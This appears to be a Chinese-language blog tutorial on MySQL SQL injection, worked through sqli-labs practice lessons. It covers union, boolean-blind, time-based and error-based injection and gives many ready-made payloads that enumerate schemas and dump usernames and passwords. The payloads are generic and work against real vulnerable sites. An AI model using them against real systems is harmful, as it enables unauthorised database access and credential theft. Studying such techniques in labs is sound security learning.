union联合注入

  • 联合注入,就是使用联合查询进行注入的一种方式,是一种高效的注入的方式,适用于有回显同时数据库软件版本是5.0以上的MYSQL数据库。至于为什么需要版本是5.0以上的MYSQL数据库,是因为MYSQL会有一个系统数据库information_schema,能很快的通过几条注入语句获取到想要的数据。

实例

  • 以sqli-labs-less-1为例

查询表格的列数

  • ?id=2' order by 3 --+
    image.png
    image.png
  • 可以看出共有4列

爆出显示位

  • ?id=-1'union select 1,2,3 --+
    image.png

获取当前数据库的数据库名和版本号

  • ?id=-1'union select 1,database(),version() --+
    image.png

获取表名

  • ?id=-1'union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security' --+
    image.png

获取字段名

  • ?id=-1’union select 1,2,group_concat(column_name) from information_schema.columns where table_name=’users’ –+
    image.png

获取用户名和密码

  • ?id=-1'union select 1,2,group_concat(username,password) from users --+
    image.png

布尔注入

  • 如果没有回显,我们就不能使用联合注入了
  • 这个时候可以选择布尔注入
  • 布尔盲注主要用到length(),ascii() ,substr()这三个函数,首先通过length()函数确定长度再通过另外两个确定具体字符是什么。布尔盲注向对于联合注入来说需要花费大量时间

实例

  • 以sqli-labs-less-5 为例

数据库名长度

  • ?id=1' and length((select database()))>9--+发现没有反应,表示长度小于或等于9
    image.png
  • ?id=1' and length((select database()))=8--+当等于8时,有通过反馈,表示数据库名长度为8
    image.png

数据库名

  • ?id=1'and ascii(substr((select database()),1,1))=115--+
    image.png
  • substr(a,b,c)a表示截取的字符串,b表示截取的位置,c表示截取的长度
  • 一次截取一个字符进行查询,上面截图查询出第一个字符等于115,通过ASCII码可知为s
  • 通过这个方法查出全部八个字符
  • Ps:这个方法真的好麻烦哦

总结

  • 剩下的操作基本上差不多,可以参考下面的内容
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    ?id=1'and length((select database()))>9--+
    #大于号可以换成小于号或者等于号,主要是判断数据库的长度。lenfth()是获取当前数据库名的长度。如果数据库是haha那么length()就是4
    ?id=1'and ascii(substr((select database()),1,1))=115--+
    #substr("78909",1,1)=7 substr(a,b,c)a是要截取的字符串,b是截取的位置,c是截取的长度。布尔盲注我们都是长度为1因为我们要一个个判断字符。ascii()是将截取的字符转换成对应的ascii吗,这样我们可以很好确定数字根据数字找到对应的字符。
    ?id=1'and length((select group_concat(table_name) from information_schema.tables where table_schema=database()))>13--+
    #判断所有表名字符长度。
    ?id=1'and ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,1))>99--+
    #逐一判断表名
    ?id=1'and length((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'))>20--+
    #判断所有字段名的长度
    ?id=1'and ascii(substr((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),1,1))>99--+
    #逐一判断字段名。
    ?id=1' and length((select group_concat(username,password) from users))>109--+
    #判断字段内容长度
    ?id=1' and ascii(substr((select group_concat(username,password) from users),1,1))>50--+
    #逐一检测内容。

时间注入

  • 有时候,输入任何东西显示的内容都是一样的,这样布尔注入就不能使用了
  • 这个时候我们可以使用时间注入,时间注入和布尔盲注两种没有多大差别只不过时间盲注多了if函数和sleep()函数。
  • if(a,sleep(10),1)如果a结果是真的,那么执行sleep(10)页面延迟10秒,如果a的结果是假,执行1,页面不延迟。

实例

  • 以sqli-labs-less-9为例
  • 因为只是用法不同,查询过程时一样的,所有可以参考以下内容
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    ?id=1' and if(1=1,sleep(5),1)--+
    #判断参数构造。
    ?id=1'and if(length((select database()))>9,sleep(5),1)--+
    #判断数据库名长度
    ?id=1'and if(ascii(substr((select database()),1,1))=115,sleep(5),1)--+
    #逐一判断数据库字符
    ?id=1'and if(length((select group_concat(table_name) from information_schema.tables where table_schema=database()))>13,sleep(5),1)--+
    #判断所有表名长度
    ?id=1'and if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,1))>99,sleep(5),1)--+
    #逐一判断表名
    ?id=1'and if(length((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'))>20,sleep(5),1)--+
    #判断所有字段名的长度
    ?id=1'and if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),1,1))>99,sleep(5),1)--+
    #逐一判断字段名。
    ?id=1' and if(length((select group_concat(username,password) from users))>109,sleep(5),1)--+
    #判断字段内容长度
    ?id=1' and if(ascii(substr((select group_concat(username,password) from users),1,1))>50,sleep(5),1)--+
    #逐一检测内容。
  • 如果结果为真,页面会延迟5秒显示,为假,则不会延迟,将直接显示

报错注入

报错注入的定义

  • 当网站的页面上没有显示位用于展示SQL语句执行后的结果,但是sql语句执行可以输出错误信息,那么攻击者可以利用注入过程中返回的错误信息进行判断。
  • 报错注入就是利用了数据库的某些机制,人为地制造错误条件,使得查询结果能够出现在错误信息中。
  • 以sqli-labs-less-17为例

常用的函数

  1. extractvalue()
  2. updataxml()
  3. count()+rand()+floor()+group by()导致的主键重复

extractvalue()

  • extractvalue(XML_document,XPath_string)
  • 第一个参数:XML_document是String格式,为XML文档对象的名称,文中为Doc
  • 第二个参数:XPath_string (Xpath格式的字符串) ,如果不了解Xpath语法,可以在网上查找教程。
  • 作用:从XML_document中提取符合XPATH_string的值,当我们XPath_string语法报错时候就会报错,下面的语法就是错误的。concat和我前面说的的group_concat作用一样
    image.png
  • 因为只是用法不同,查询过程时一样的,所有可以参考以下内容
  • 在最后一步爆字段内容时候,会报错,原因是mysql数据不支持查询和更新是同一张表。所以我们需要加一个中间表
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    1' and (extractvalue(1,concat(0x5c,version(),0x5c)))#    
    爆版本
    1' and (extractvalue(1,concat(0x5c,database(),0x5c)))#
    爆数据库
    1' and (extractvalue(1,concat(0x5c,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x5c)))#
    爆表名
    1' and (extractvalue(1,concat(0x5c,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),0x5c)))#
    爆字段名
    1' and (extractvalue(1,concat(0x5c,(select password from (select password from users where username='admin1') b) ,0x5c)))#
    爆字段内容该格式针对mysql数据库。
    1' and (extractvalue(1,concat(0x5c,(select group_concat(username,':',password) from (select username,password from users)a ),0x5c)))#
    爆字段内容。

updatexml()

  • updatexml (XML_document, XPath_string, new_value)
  • 第一个参数:XML_document是String格式,为XML文档对象的名称,文中为Doc
  • 第二个参数:XPath_string (Xpath格式的字符串) ,如果不了解Xpath语法,可以在网上查找教程。
  • 第三个参数:new_value,String格式,替换查找到的符合条件的数据
  • 作用:改变文档中符合条件的节点的值,改变XML_document中符合XPATH_string的值
  • 当我们XPath_string语法报错时候就会报错,updatexml()报错注入和extractvalue()报错注入基本差不多。
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    123' and (updatexml(1,concat(0x5c,version(),0x5c),1))# 爆版本
    123' and (updatexml(1,concat(0x5c,database(),0x5c),1))# 爆数据库
    123' and (updatexml(1,concat(0x5c,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x5c),1))#
    爆表名
    123' and (updatexml(1,concat(0x5c,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name ='users'),0x5c),1))#
    爆字段名
    123' and (updatexml(1,concat(0x5c,(select password from (select password from users where username='admin1') b),0x5c),1))#
    爆密码该格式针对mysql数据库。爆其他表就可以,下面是爆emails表
    123' and (updatexml(1,concat(0x5c,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name ='emails'),0x5c),1))#
    1' and (updatexml (1,concat(0x5c,(select group_concat(id,email_id) from emails),0x5c),1))#
    爆字段内容。

group by

  • group by 报错注入比较复杂,可以先看看group by理解
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    123' and (select count(*) from information_schema.tables group by concat(database(),0x5c,floor(rand(0)*2)))#     爆数据库
    123' and (select count(*) from information_schema.tables group by concat(version(),0x5c,floor(rand(0)*2)))# 爆数据库版本

    1' and (select count(*) from information_schema.tables where table_schema=database() group by concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 1,1),0x7e,floor(rand(0)*2)))# 通过修改limit后面数字一个一个爆表
    1' and (select count(*) from information_schema.tables where table_schema=database() group by concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e,floor(rand(0)*2)))# 爆出所有表

    1' and (select count(*) from information_schema.columns where table_schema=database() group by concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),0x7e,floor(rand(0)*2)))# 爆出所有字段名
    1' and (select count(*) from information_schema.columns group by concat(0x7e,(select group_concat(username,password) from users),0x7e,floor(rand(0)*2)))# 爆出所有字段名

    1' and (select 1 from(select count(*) from information_schema.columns where table_schema=database() group by concat(0x7e,(select password from users where username='admin1'),0x7e,floor(rand(0)*2)))a)# 爆出该账户的密码。